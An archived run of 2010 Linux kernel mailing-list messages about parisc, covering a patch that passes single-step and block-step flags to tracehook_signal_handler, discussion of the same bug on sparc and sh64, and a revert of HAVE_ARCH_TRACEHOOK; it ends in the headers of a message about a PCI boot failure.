Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756869Ab0BLPxR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Feb 2010 10:53:17 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:42641 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756617Ab0BLPxQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Feb 2010 10:53:16 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NfxpM-0000he-6C; Fri, 12 Feb 2010 15:53:10 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2653
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2653>

From: Kyle McMartin <kyle@redhat.com>

Mike Frysinger pointed out that calling tracehook_signal_handler with
stepping=0 missed testing the thread flags, resulting in not calling
ptrace_notify. Fix this by testing if we're single stepping or branch
stepping and setting the flag accordingly.

Tested, seems to work.

Reported-by: Mike Frysinger <vapier@gentoo.org>
Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
 arch/parisc/kernel/signal.c |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index e8467e4..07b3dac 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -469,7 +469,9 @@ handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka,
 	recalc_sigpending();
 	spin_unlock_irq(&current->sighand->siglock);
 
-	tracehook_signal_handler(sig, info, ka, regs, 0);
+	tracehook_signal_handler(sig, info, ka, regs, 
+		test_thread_flag(TIF_SINGLESTEP) ||
+		test_thread_flag(TIF_BLOCKSTEP));
 
 	return 1;
 }
-- 
1.6.6

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix tracing of signals
Date: Fri, 12 Feb 2010 08:21:33 -0800 (PST)
Lines: 49
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1002120816100.7792@localhost.localdomain>
References: <20100212155306.GI24051@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1265991740 29705 80.91.229.12 (12 Feb 2010 16:22:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Feb 2010 16:22:20 +0000 (UTC)
Cc: vapier@gentoo.org, linux-parisc@vger.kernel.org, roland@redhat.com,
	"David S. Miller" <davem@davemloft.net>,
	Paul Mundt <lethal@linux-sh.org>, linux-arch@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Feb 12 17:22:17 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1NfyHU-0000LU-Se
	for glka-linux-arch@lo.gmane.org; Fri, 12 Feb 2010 17:22:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756936Ab0BLQWL (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 12 Feb 2010 11:22:11 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:43748 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756528Ab0BLQWJ (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Fri, 12 Feb 2010 11:22:09 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id o1CGLYMi012698
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 12 Feb 2010 08:21:35 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id o1CGLXpk012792;
	Fri, 12 Feb 2010 08:21:33 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20100212155306.GI24051@bombadil.infradead.org>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.447 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:5181 gmane.linux.ports.parisc:2654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2654>



On Fri, 12 Feb 2010, Kyle McMartin wrote:
> 
> Mike Frysinger pointed out that calling tracehook_signal_handler with
> stepping=0 missed testing the thread flags, resulting in not calling
> ptrace_notify. Fix this by testing if we're single stepping or branch
> stepping and setting the flag accordingly.
> 
> Tested, seems to work.

Hmm. All other architectures either pass in zero, or test TIF_SINGLESTEP. 

I guess TIF_BLOCKSTEP is a parisc addition, so now parisc matches x86 and 
power etc, but it still makes me wonder about all those other 
architectures that pass in zero.

For the curious, that seems to be at least sparc and 64-bit (but not 
32-bit) sh.

David? Paul?

		Linus

---
> Reported-by: Mike Frysinger <vapier@gentoo.org>
> Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
> ---
>  arch/parisc/kernel/signal.c |    4 +++-
>  1 files changed, 3 insertions(+), 1 deletions(-)
> 
> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> index e8467e4..07b3dac 100644
> --- a/arch/parisc/kernel/signal.c
> +++ b/arch/parisc/kernel/signal.c
> @@ -469,7 +469,9 @@ handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka,
>  	recalc_sigpending();
>  	spin_unlock_irq(&current->sighand->siglock);
>  
> -	tracehook_signal_handler(sig, info, ka, regs, 0);
> +	tracehook_signal_handler(sig, info, ka, regs, 
> +		test_thread_flag(TIF_SINGLESTEP) ||
> +		test_thread_flag(TIF_BLOCKSTEP));
>  
>  	return 1;
>  }
> -- 
> 1.6.6
> 

From - Thu Nov 08 21:05:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] parisc: fix tracing of signals
Date: Fri, 12 Feb 2010 12:10:11 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20100212171011.GJ24051@bombadil.infradead.org>
References: <20100212155306.GI24051@bombadil.infradead.org> <alpine.LFD.2.00.1002120816100.7792@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265994633 7863 80.91.229.12 (12 Feb 2010 17:10:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Feb 2010 17:10:33 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, vapier@gentoo.org,
	linux-parisc@vger.kernel.org, roland@redhat.com,
	"David S. Miller" <davem@davemloft.net>,
	Paul Mundt <lethal@linux-sh.org>, linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 12 18:10:22 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nfz25-0003ny-Tb
	for glpp-linux-parisc@lo.gmane.org; Fri, 12 Feb 2010 18:10:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755059Ab0BLRKU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Feb 2010 12:10:20 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51806 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754766Ab0BLRKU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Feb 2010 12:10:20 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Nfz1v-0002L3-Jj; Fri, 12 Feb 2010 17:10:11 +0000
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.1002120816100.7792@localhost.localdomain>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2655 gmane.linux.kernel.cross-arch:5182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2655>

On Fri, Feb 12, 2010 at 08:21:33AM -0800, Linus Torvalds wrote:
> Hmm. All other architectures either pass in zero, or test TIF_SINGLESTEP. 
> 
> I guess TIF_BLOCKSTEP is a parisc addition, so now parisc matches x86 and 
> power etc, but it still makes me wonder about all those other 
> architectures that pass in zero.
>

Yeah, BLOCKSTEP is the branch tracing bit (traps on a taken branch.)
 
> For the curious, that seems to be at least sparc and 64-bit (but not 
> 32-bit) sh.
> 

Mike sent an email to them reporting this as well, David points out that
sparc has no hw singlestepping, so 0 is appropriate there. SH does seem
to have a legitimate bug.

regards, Kyle

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix tracing of signals
Date: Fri, 12 Feb 2010 18:58:54 -0500
Organization: wh0rd.org
Lines: 53
Approved: news@gmane.org
Message-ID: <201002121859.00083.vapier@gentoo.org>
References: <20100212155306.GI24051@bombadil.infradead.org> <alpine.LFD.2.00.1002120816100.7792@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1283464.y4TUGDY5zy";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1266019150 23244 80.91.229.12 (12 Feb 2010 23:59:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Feb 2010 23:59:10 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	roland@redhat.com, "David S. Miller" <davem@davemloft.net>,
	Paul Mundt <lethal@linux-sh.org>, linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Sat Feb 13 00:59:06 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Ng5Pd-0006HC-8N
	for glka-linux-arch@lo.gmane.org; Sat, 13 Feb 2010 00:59:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756221Ab0BLX67 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 12 Feb 2010 18:58:59 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:53209 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755850Ab0BLX66 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 12 Feb 2010 18:58:58 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 2EB141B400F;
	Fri, 12 Feb 2010 23:58:57 +0000 (UTC)
User-Agent: KMail/1.12.4 (Linux/2.6.32.6; KDE/4.3.4; x86_64; ; )
In-Reply-To: <alpine.LFD.2.00.1002120816100.7792@localhost.localdomain>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:5188 gmane.linux.ports.parisc:2656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2656>

--nextPart1283464.y4TUGDY5zy
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Friday 12 February 2010 11:21:33 Linus Torvalds wrote:
> On Fri, 12 Feb 2010, Kyle McMartin wrote:
> > Mike Frysinger pointed out that calling tracehook_signal_handler with
> > stepping=3D0 missed testing the thread flags, resulting in not calling
> > ptrace_notify. Fix this by testing if we're single stepping or branch
> > stepping and setting the flag accordingly.
> >
> > Tested, seems to work.
>=20
> Hmm. All other architectures either pass in zero, or test TIF_SINGLESTEP.
>=20
> I guess TIF_BLOCKSTEP is a parisc addition, so now parisc matches x86 and
> power etc, but it still makes me wonder about all those other
> architectures that pass in zero.
>=20
> For the curious, that seems to be at least sparc and 64-bit (but not
> 32-bit) sh.
>=20
> David? Paul?

David said that the sparc code is currently correct as hardware single=20
stepping is not supported:
http://lkml.org/lkml/2010/2/11/385
=2Dmike

--nextPart1283464.y4TUGDY5zy
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.14 (GNU/Linux)

iQIcBAABAgAGBQJLdetEAAoJEEFjO5/oN/WB/ZcP+wW7nGfC+LfOphhuJC/Bm/4M
h83QD3eS6EpX8ekGGHt5HYEvAPzRqfUiZRUStTxJ3gyWJty7UR81tNmj8Fq4Q4u3
bpjsJ9D0CTYsRTXGofbjxtng6fdO2XZIS9O511XMNoFvmij7FXkZhPzpK3XXTPeE
auBJ3tC9PwrTbo7I+o9mDPGYg1YMT7bcZrFBLrx2AGRG06yTbeaPqwaeNPL9QZrJ
JNHN7chpXf/cxgGdAyZuyivBRCkFfche9hjNngRQVaRkayqwukCuqYR2xiGCqMJ1
nSmmodugKCt1D1ZKvrDYMNitUY1DYs1dF96lRzbJ8g9SvhzghLmULRbOZvlGOjFn
tJ1VkeMUXLU2vBYz2k9F/Bac7dpqMXM3tRQXf0wIH2Dm9ZIpUlMo43p9e0RRNhsz
UT7h8ggxgmvG/h8KTyWH/FS7lA7UI3iLFSjTl3DklBtJnwvGYlhqtE1QGwXO6Eqx
dCez9nt9HLsMsS20DApsz2D200dnZ1xpdtu00bjb33Zlw2ogc7pOT/c3itbcmCg+
FYoeAH2jlf4rDqil0n7aWH/rDDq3wusFRTRnYAoIgPU02/t4NYqxsF2bmYAFbecy
CATSiToA4VEin6dFz5/HVDddDb3cVG9eBcGfh3lvmJysNf7zwsKf7NafuXEwgiJH
TYAhKxVbaLxmKDRRa22l
=a93F
-----END PGP SIGNATURE-----

--nextPart1283464.y4TUGDY5zy--

From - Thu Nov 08 21:05:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix tracing of signals
Date: Sat, 13 Feb 2010 20:03:03 +0900
Lines: 24
Approved: news@gmane.org
Message-ID: <20100213110302.GA18636@linux-sh.org>
References: <20100212155306.GI24051@bombadil.infradead.org> <alpine.LFD.2.00.1002120816100.7792@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1266059000 5027 80.91.229.12 (13 Feb 2010 11:03:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 13 Feb 2010 11:03:20 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, vapier@gentoo.org,
	linux-parisc@vger.kernel.org, roland@redhat.com,
	"David S. Miller" <davem@davemloft.net>, linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Sat Feb 13 12:03:16 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1NgFmN-0003rV-Uh
	for glka-linux-arch@lo.gmane.org; Sat, 13 Feb 2010 12:03:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752678Ab0BMLDO (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sat, 13 Feb 2010 06:03:14 -0500
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:53814 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752436Ab0BMLDN (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sat, 13 Feb 2010 06:03:13 -0500
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id C867063758;
	Sat, 13 Feb 2010 11:03:03 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zPeKrX+O9ZFO; Sat, 13 Feb 2010 20:03:03 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id 7530863773; Sat, 13 Feb 2010 20:03:03 +0900 (JST)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.1002120816100.7792@localhost.localdomain>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:5190 gmane.linux.ports.parisc:2657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2657>

On Fri, Feb 12, 2010 at 08:21:33AM -0800, Linus Torvalds wrote:
> On Fri, 12 Feb 2010, Kyle McMartin wrote:
> > Mike Frysinger pointed out that calling tracehook_signal_handler with
> > stepping=0 missed testing the thread flags, resulting in not calling
> > ptrace_notify. Fix this by testing if we're single stepping or branch
> > stepping and setting the flag accordingly.
> > 
> > Tested, seems to work.
> 
> Hmm. All other architectures either pass in zero, or test TIF_SINGLESTEP. 
> 
> I guess TIF_BLOCKSTEP is a parisc addition, so now parisc matches x86 and 
> power etc, but it still makes me wonder about all those other 
> architectures that pass in zero.
> 
> For the curious, that seems to be at least sparc and 64-bit (but not 
> 32-bit) sh.
> 
> David? Paul?
> 
It's a legitimate bug on sh64. We support hardware single stepping there
but never tied in the thread flags when the code was merged with 32-bit,
so this behaviour has existed for some time. I'll fix it up and send out
patches as soon as I get a chance to test it.

From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] Revert "parisc: HAVE_ARCH_TRACEHOOK"
Date: Mon, 22 Feb 2010 10:48:57 -0800 (PST)
Lines: 45
Approved: news@gmane.org
Message-ID: <20100222184857.AA88C64C@magilla.sf.frob.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1266864603 19565 80.91.229.12 (22 Feb 2010 18:50:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 22 Feb 2010 18:50:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Feb 22 19:49:58 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1NjdLu-0008Fh-55
	for glk-linux-kernel-3@lo.gmane.org; Mon, 22 Feb 2010 19:49:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754084Ab0BVStr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 22 Feb 2010 13:49:47 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:1025 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753900Ab0BVSto (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 22 Feb 2010 13:49:44 -0500
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id o1MImx2r003490
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 22 Feb 2010 13:48:59 -0500
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id o1MImwKY029371;
	Mon, 22 Feb 2010 13:48:59 -0500
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id E2E2B357B; Mon, 22 Feb 2010 10:48:57 -0800 (PST)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id AA88C64C; Mon, 22 Feb 2010 10:48:57 -0800 (PST)
Original-Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>
X-Fcc: ~/Mail/linus
Emacs: because extension languages should come with the editor built in.
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:952925 gmane.linux.ports.parisc:2658
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2658>

The following changes since commit 627fa177a1502ad24390d945851209ac022f3a36:
  Linus Torvalds (1):
        Merge branch 'for-linus' of git://git.kernel.org/.../dtor/input

are available in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/frob/linux-2.6-roland.git parisc/tracehook

Roland McGrath (1):
      Revert "parisc: HAVE_ARCH_TRACEHOOK"

 arch/parisc/Kconfig |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)


Thanks,
Roland

---

[PATCH] Revert "parisc: HAVE_ARCH_TRACEHOOK"

This reverts commit 81bf550d9cdfe0325eb1504b06c9f6511b442c1a.

HAVE_ARCH_TRACEHOOK requires defining the user_regset interfaces,
including task_user_regset_view().  parisc doesn't do that yet,
so don't lie about it.

Signed-off-by: Roland McGrath <roland@redhat.com>
---
 arch/parisc/Kconfig |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 524d935..f388dc6 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -18,7 +18,6 @@ config PARISC
 	select BUG
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
-	select HAVE_ARCH_TRACEHOOK
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
 	  in many of their workstations & servers (HP9000 700 and 800 series,

From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Revert "parisc: HAVE_ARCH_TRACEHOOK"
Date: Mon, 22 Feb 2010 13:53:16 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20100222185316.GA21734@bombadil.infradead.org>
References: <20100222184857.AA88C64C@magilla.sf.frob.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1266864812 20599 80.91.229.12 (22 Feb 2010 18:53:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 22 Feb 2010 18:53:32 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>
To: Roland McGrath <roland@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 22 19:53:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NjdPH-0001ff-KS
	for glpp-linux-parisc@lo.gmane.org; Mon, 22 Feb 2010 19:53:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753492Ab0BVSxX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Feb 2010 13:53:23 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40365 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753480Ab0BVSxW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Feb 2010 13:53:22 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NjdPA-00045D-LP; Mon, 22 Feb 2010 18:53:16 +0000
Content-Disposition: inline
In-Reply-To: <20100222184857.AA88C64C@magilla.sf.frob.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2659 gmane.linux.kernel:952928
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2659>

On Mon, Feb 22, 2010 at 10:48:57AM -0800, Roland McGrath wrote:
> HAVE_ARCH_TRACEHOOK requires defining the user_regset interfaces,
> including task_user_regset_view().  parisc doesn't do that yet,
> so don't lie about it.
> 

Acked-by: Kyle McMartin <kyle@mcmartin.ca>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: PCI patch breaks boot on rp2470 (2xPA8700)
Date: Mon, 22 Feb 2010 18:25:59 -0500
Lines: 155
Approved: news@gmane.org
Message-ID: <119aab441002221525m4595b37w875891cd8f95e633@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
